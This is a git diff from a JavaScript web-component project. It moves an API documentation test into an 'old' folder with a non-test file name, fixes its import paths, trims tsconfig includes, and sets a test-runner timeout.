b/test/old/api-documentation.no-test.js similarity index 99% rename from test/api-documentation.test.js rename to test/old/api-documentation.no-test.js index efc2812..31cbb4f 100644 --- a/test/api-documentation.test.js +++ b/test/old/api-documentation.no-test.js @@ -1,10 +1,10 @@ /* eslint-disable no-shadow */ import { fixture, assert, html, aTimeout, nextFrame } from '@open-wc/testing'; import * as sinon from 'sinon/pkg/sinon-esm.js'; -import { AmfLoader } from './amf-loader.js'; -import '../api-documentation.js'; +import { AmfLoader } from '../amf-loader.js'; +import '../../api-documentation.js'; -/** @typedef {import('..').ApiDocumentationElement} ApiDocumentationElement */ +/** @typedef {import('../..').ApiDocumentationElement} ApiDocumentationElement */ describe('ApiDocumentationElement', () => { /** diff --git a/tsconfig.json b/tsconfig.json index 46b1343..fbea4c9 100644 --- a/tsconfig.json +++ b/tsconfig.json @@ -17,6 +17,6 @@ } ] }, - "include": [ "**/*.js", "node_modules/@open-wc/**/*.js", "src/ApiDocumentationElement.d.ts", "index.d.ts" ], + "include": [ "**/*.js", "node_modules/@open-wc/**/*.js", "index.d.ts" ], "exclude": ["node_modules/!(@open-wc)"] } diff --git a/web-test-runner.config.mjs b/web-test-runner.config.mjs index 3a009b1..59f7b29 100644 --- a/web-test-runner.config.mjs +++ b/web-test-runner.config.mjs @@ -1,5 +1,6 @@ export default { files: 'test/**/*.test.js', + // files: 'test/elements/ApiResponseDocumentElement.test.js', nodeResolve: true, middleware: [ function rewriteBase(context, next) { @@ -9,11 +10,9 @@ export default { return next(); } ], - testRunnerHtml: (testFramework) => - ` - - - - - ` + testFramework: { + config: { + timeout: 10000, + }, + }, };